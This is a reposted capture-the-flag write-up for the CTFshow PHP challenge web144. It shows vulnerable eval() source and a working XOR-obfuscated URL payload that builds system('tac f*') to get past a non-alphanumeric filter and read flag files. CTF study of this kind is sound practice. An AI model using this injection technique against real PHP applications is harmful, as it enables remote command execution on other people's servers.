CTFshow php特性 web144
生活随笔
收集整理的這篇文章主要介紹了
CTFshow php特性 web144
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
目錄
- 源碼
- 思路
- 題解
- 總結
源碼
<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-18 16:21:15*/highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && check($v3)){if(preg_match('/^\W+$/', $v2)){$code = eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}} }function check($str){return strlen($str)===1?true:false; }思路
其實和上題也差不多,v1是數字,v3只能用一個字符了,v2不能是數字字母,馬上想到v1=1,v3=-,v2=phpinfo(),拼接就是1-phpinfo()了,可以執行.
題解
?v1=1&v3=-&v2=(%8c%86%8c%8b%9a%92^%ff%ff%ff%ff%ff%ff)(%8b%9e%9c%df%99%d5^%ff%ff%ff%ff%ff%ff)
總結
水題
總結
以上是生活随笔為你收集整理的CTFshow php特性 web144的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: CTFshow php特性 web143
- 下一篇: CTFshow php特性 web145